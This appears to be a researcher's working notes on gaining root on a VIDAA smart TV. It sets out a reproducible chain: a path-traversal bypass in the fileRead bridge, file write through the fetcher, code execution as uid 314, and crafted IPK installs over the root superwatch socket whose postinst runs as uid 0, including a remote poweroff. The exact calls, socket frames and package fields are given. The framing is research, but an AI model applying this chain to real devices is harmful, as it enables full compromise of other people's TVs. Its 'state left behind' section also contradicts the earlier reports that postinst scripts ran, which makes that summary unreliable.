docs / models / 55U67LEVS / V0000.09.60A.Q0707 / findings

00 β€” session 2026-11-14: pairing, traversal, fetcher, FaaS exec, and where superwatch stops

Unit: 55U67LEVS (55U6LE), MTK9603, VIDAA U09.60, firmware V0000.09.60A.Q0707. Owner's TV, owner present, research frame (verified boot untouched, no /OAD, no read-only mounts).

This is a working record, not a guide. Claims are labelled; anything not measured says so.

Resume here

Thing State
server/keys/ vidaa_cert.pem, vidaa_key.pem, tokens.json all present (gitignored). Access token issued 2026-11-14, valid 2 days; refresh token 30 days β€” re-pair if expired.
server/venv/ created, paho-mqtt installed
Server cd server && ./venv/bin/python -u vidaa_server.py <tv-ip> 8765
Serving the TV any page works; on a managed Mac use bore local 8765 --to bore.pub, then curl "http://127.0.0.1:8765/api/open?url=http://bore.pub:<port>/…"
TV IP DHCP lease β€” scan TCP 36669 on the /24, do not ping (ICMP disabled)
Open question superwatch install 82 β†’ rc -1 (Β§6); start at Β§7 step 1

1. Host-side trap: a managed Mac cannot serve the TV (workaround found)

The TV was reachable (36669 open at the DHCP lease), but the launcher could not be served from the Mac:

Workaround that unblocked the session: a plain-TCP tunnel on the outbound side β€” bore local 8765 --to bore.pub β†’ bore.pub:<port> β†’ the TV loaded http://bore.pub:<port>/…. Plain TCP (not HTTPS) matters: the page hardcodes ws://, so an https tunnel would hit mixed-content blocking.

The load-bearing insight for root work: a page served from anywhere still runs on the TV and still reaches http://localhost:9009 / localhost:9888 / the superwatch socket. The tunnel does not weaken the chain at all β€” the browser context is what matters, not the origin.

Caveat to keep in mind: the tunnel is a public URL while it runs. Tear it down when done; the page content is not secret but the tunnel is third-party.

2. Pairing β€” works, and this build validates the client cert at TLS

3. File bridge: bare string rejected, array path traverses

Call Result
HiUtils_createRequest("fileRead", {path:"../proc/uptime"}) {ret:false, msg:"invalid path:../proc/uptime"}
HiUtils_createRequest("fileRead", {path:["../proc/uptime"]}) {ret:true, msg:"828091.91 3022176.18\n"}
vowOS…("hiutils",{api:"fileRead"}), array same, ret:true
POST http://localhost:9009/hiutils fileRead, array ret:true
../var/local/otaTest.log, array ENOENT β€” the 50A51HUV hook file does not exist here

The joiner resolves relative escapes from /APPS/. This is the same validator shape as 75U8QTUK and 50U7DSE, and different from 43Q60SEVS's strict join. Consequence: full read of the filesystem as uid 314.

4. Fetcher write β€” open

vowOS.service.syncExecute("basic/fetcher", {api:"fetchFile", args: JSON.stringify({url, directory, permission:420})})

5. FaaS exec β€” open, uid 314, gid 616 present

POST http://localhost:9009/function/basic/fetch/<name> with the module at …/jsservice.basic/CHA/functions/fetch/<name>.js (write it with the fetcher). Each run needs a fresh module name (require-cache).

Worker facts, measured: uid:314, gid:314, groups:[516,546,554,607,616,701,702,711,712,713,762,902,903,904,908,911,912,924,943,945,314], arch:arm, execPath:/APPS/pkgs/tv.vidaa.app.phoenix/CHA/bin/phoenix.

/var/local write β†’ read β†’ unlink: all true.

6. superwatch β€” reachable, install command answers -1

/var/run/superwatch_socket: mode 660, uid 0, gid 616, connect as uid 314 (gid 616 is in the group list). Framing: 4-byte little-endian length + payload <session>:<command>:<session>[;args…]; reply is <session>:<rc>.

Measured frames (two IPK container formats, both packages valid to ar/tar inspection, postinst writing one file):

Frame Reply Reading
711:85:711 711:0 baseline: socket protocol alive
712:82:712;/APPS/re-proof.ipk;re.proof; 712:-1 82 not accepted / install failed
713:82:713;/APPS/re-proof-tar.ipk;re.prooft; 713:-1 same with a tar.gz IPK
714:53:714;/APPS/re-proof.ipk;re.proof; 714:604 53 is a different code path
715:85:715;/APPS/re-proof.ipk; 715:0 args to 85 ignored, not an error

Both IPKs were confirmed present on the TV (788 and 626 bytes, mode 0644) before the install attempts, so the -1 is not a missing file.

Not yet tried: 83 (uninstall) on this build, 84, 91/92 variants, install with a non-empty options field, and reading any installer log.

6a. SOLVED the same session β€” the IPK, not the command, was wrong

82 is the correct install command. The proof is the vendor's own wrapper: superwatch runs /usr/local/scripts/ipk_install.sh (readable, mode 555) with

session_id="$1"; ipk_path="$2"; pkg_name="$3"; options_string="$4"

and that script runs opkg --force-reinstall install "${ipk_path}" as root, then writes the outcome to /tmp/ipk_install_result (chmod 640, chown 314:314, so it is readable as uid 314 β€” the direct readback lane) and /tmp/ipk_install_status.

Our failed attempt left:

{"code": 3, "sessionId": 713, "msg": "opkg install /APPS/re-proof-tar.ipk failed:
  error: install_app_configs: Invalid input parameters.
  error: opkg_install_pkg: Failed to extract data files for re.prooft."}

So two independent faults in the minimal IPK:

  1. data.tar.gz was empty β†’ "Failed to extract data files".
  2. install_app_configs rejected the control file. The vendor opkg (181 KB, patched) carries the strings AppId, AppName, Invalid appId: %s, Failed to convert appId '%s' to a valid uid and install_app_configs. It reads /APPS/pkgs/pkgAppInfo.json and requires those fields.

With Package: tv.vidaa.app.reproof, AppId: 900, AppName: … and a one-file data.tar.gz, the same frame 802:82:802;/APPS/re-proof3.ipk;… returned rc 0, opkg_install_status reached step:finish, and the postinst ran as root:

POSTINST_RAN
Uid:    0   0   0   0
Gid:    0   0   0   0
CapEff: 000001ffffffffff

/APPS/.re_root/PROOF is mode 644 uid 0, so uid 314 reads the proof.

As root, /config remounts rw and back cleanly (mount -o remount,rw /config β†’ OK, then remount,ro β†’ OK), and both INIs are -r--r--r-- root root with identical build mtimes and atimes β€” the atime does not reveal which one the middleware read. /var/log/messages is root-only (EACCES to uid 314) and was copied out to /APPS/.re_root/messages.txt by a postinst for reading.

Root is achieved as one-shot uid 0. Persistence (a boot hook, or a shell) is the next step and has not been done.

7. Where this leaves the chain

Step State
fetcher write (uid 314) verified
FaaS exec (/function/basic/fetch/<name>, uid 314, gid 616) verified
superwatch install 82 verified β€” the frame was always right
vendor opkg accepting the package solved: AppId/AppName in control, non-empty data.tar.gz
postinst as uid 0 verified (CapEff 000001ffffffffff)
persistence / shell not done β€” install is one-shot, the postinst exits and nothing restarts it
/config write proven possible: remount rw/ro both succeed as root
EDID deployment not done β€” see 01-edid-surface.md

The natural next step for any further work (including EDID) is to make the postinst do the task directly and write its result into /APPS/.re_root/ (mode 644), rather than chasing a persistent shell: the round trip is one IPK build plus one install, and each run is reversible by installing the next. A boot hook (serviceList.json append, or the re_sshd service) is what a persistent shell would need; that is deliberately out of scope while the goal is EDID.

8. State left behind

Nothing is armed: no postinst ran, serviceList.json untouched, no boot hook. Left on the unit: /APPS/re-proof.ipk, /APPS/re-proof-tar.ipk, /APPS/.re_root/ (empty), and two module files under …/jsservice.basic/CHA/functions/fetch/ (alvproof_*, alvdiag3_*). Cleanup path: fs.unlink from a module (uid 314 owns the directory), or overwrite-with-zero by convention. The browser was closed by launching the vendor Home app ({"ok":true,"launched":"V Home"}) β€” no power cycle needed.

9. Power and input over MQTT: measured dead on this build

Recon while the owner was away, one MQTT session at a time.

The TV sat in fake_sleep_0 (panel off, broker answering). Lanes tried:

Attempt Result
launchapp (ui_service, appId 16 "TV Browser") no effect β€” never turned the panel on
sendkey {"key":"KEY_POWER"} on remote_service no effect
sendkey {"key":"KEY_POWER"} on ui_service no effect
sendkey {"key":"POWER"} on remote_service no effect
sendkey {"keycode":116} on ui_service / remote_service no effect
power {"power":"off"} on remote_service no effect
power {"power":"standby"} on ui_service no effect
standby {"action":"standby"} on remote_service no effect
Wake-on-LAN magic packet to 255.255.255.255 and the /24 broadcast, Wi-Fi MAC the TV came on (state went fake_sleep_0 β†’ remote_launcher)

So on this build:

That closes the alvidaa power standby question for this build: the CLI's refusal ("the bridge has no power route") is correct, and adding one would not help β€” the actions are ignored below the bridge.

9a. Powering down does work, through the root lane

The same one-shot IPK lane, with /usr/local/bin/busybox poweroff -f in the postinst (backgrounded 5 s so opkg finishes), halted the SoC: TCP 36669 closed ~6 s after the install and was still closed 60 s later, i.e. a halt and not a reboot.

So the split is:

Staging gotcha repeated here: the page must fetchFile the IPK to /APPS/<name>.ipk before invoking superwatch 82, otherwise the installer answers code: 2 "ipk file … not exists" and nothing runs.